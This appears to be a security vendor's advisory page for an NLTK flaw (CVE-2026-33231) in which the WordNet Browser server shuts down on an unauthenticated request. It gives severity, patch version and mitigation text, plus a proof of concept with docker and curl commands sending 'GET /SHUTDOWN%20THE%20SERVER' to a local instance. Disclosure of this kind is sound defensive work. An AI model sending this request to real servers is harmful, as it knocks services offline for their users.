How severe is GHSA-jm6w-m3j8-898g?

GHSA-jm6w-m3j8-898g has a CVSS score of 7.5/10, rated HIGH. Immediate patching is strongly recommended.

Which packages are affected by GHSA-jm6w-m3j8-898g?

GHSA-jm6w-m3j8-898g affects the following packages: nltk (PyPI). Ecosystems affected: PyPI.

How do I fix GHSA-jm6w-m3j8-898g?

Update nltk to 3.9.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jm6w-m3j8-898g is resolved across your whole dependency graph.

How do I detect GHSA-jm6w-m3j8-898g in my PyPI dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nltk. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-jm6w-m3j8-898g if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-jm6w-m3j8-898g?

O3 pinpoints whether GHSA-jm6w-m3j8-898g is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-jm6w-m3j8-898g actively exploited in the wild?

No public exploit code has been indexed for GHSA-jm6w-m3j8-898g yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-jm6w-m3j8-898g?

GHSA-jm6w-m3j8-898g has an EPSS (Exploit Prediction Scoring System) score of 0.5%, placing it in the 41th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

When was GHSA-jm6w-m3j8-898g published, and has it been updated?

GHSA-jm6w-m3j8-898g was published on March 19, 2026 and was last updated on May 5, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐍 PyPI

GHSA-jm6w-m3j8-898g

HIGH

Unauthenticated remote shutdown in nltk.app.wordnet_app

Also known asCVE-2026-33231

Published

Mar 19, 2026

Updated

May 5, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

EPSS Exploitation Probability

via FIRST.org ↗

0.5%probability of exploitation in next 30 days

Lower Risk41th percentile+0.52%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected

🐍nltk

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

nltk.app.wordnet_app allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple GET /SHUTDOWN%20THE%20SERVER request causes the process to terminate immediately via os._exit(0), resulting in a denial of service.

Details

The vulnerable logic is in nltk/app/wordnet_app.py:

nltk/app/wordnet_app.py:242
- The server listens on all interfaces:
- server = HTTPServer(("", port), MyServerHandler)
nltk/app/wordnet_app.py:87
- Incoming requests are checked for the exact path:
- if unquote_plus(sp) == "SHUTDOWN THE SERVER":
nltk/app/wordnet_app.py:88
- The shutdown protection only depends on server_mode
nltk/app/wordnet_app.py:93
- In the default mode (runBrowser=True, therefore server_mode=False), the handler terminates the process directly:
- os._exit(0)

This means any party that can reach the listening port can stop the service with a single unauthenticated GET request when the browser is started in its normal mode.

PoC

Start the WordNet Browser in Docker in its default mode:

docker run -d --name nltk-wordnet-web-default-retest -p 8004:8004 \
  nltk-sandbox \
  python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8004, True)"

Confirm the service is reachable:

curl -s -o /tmp/wn_before.html -w '%{http_code}\n' 'http://127.0.0.1:8004/'

Observed result:

Trigger shutdown:

curl -s -o /tmp/wn_shutdown.html -w '%{http_code}\n' 'http://127.0.0.1:8004/SHUTDOWN%20THE%20SERVER'

Observed result:

Verify the service is no longer available:

curl -s -o /tmp/wn_after.html -w '%{http_code}\n' 'http://127.0.0.1:8004/'
docker ps -a --filter name=nltk-wordnet-web-default-retest --format '{{.Names}}\t{{.Status}}'
docker logs nltk-wordnet-web-default-retest

Observed results:

000
nltk-wordnet-web-default-retest    Exited (0)
Server shutting down!

Impact

This is an unauthenticated denial-of-service issue in the NLTK WordNet Browser HTTP server.

Any reachable client can terminate the service remotely when the application is started in its default mode. The impact is limited to service availability, but it is still security-relevant because:

the route is accessible over HTTP
no authentication or CSRF-style confirmation is required
the server listens on all interfaces by default
the process exits immediately instead of performing a controlled shutdown

This primarily affects users who run nltk.app.wordnet_app and expose or otherwise allow access to its listening port.

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐍PyPI	`nltk`	all versions	3.9.4

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nltk. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update nltk to 3.9.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jm6w-m3j8-898g is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-jm6w-m3j8-898g is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-jm6w-m3j8-898g. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary `nltk.app.wordnet_app` allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple `GET /SHUTDOWN%20THE%20SERVER` request causes the process to terminate immediately via `os._exit(0)`, resulting in a denial of service. ### Details The vulnerable logic is in `nltk/app/wordnet_app.py`: - [`nltk/app/wordnet_app.py:242`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L242) - The server listens on all interfaces: - `server = HTTPServer(("", port), MyServerHandler)` - [`nltk/app/wordnet_app.py:87`](/mnt/Da

O3 Security · Impact-Aware SCA

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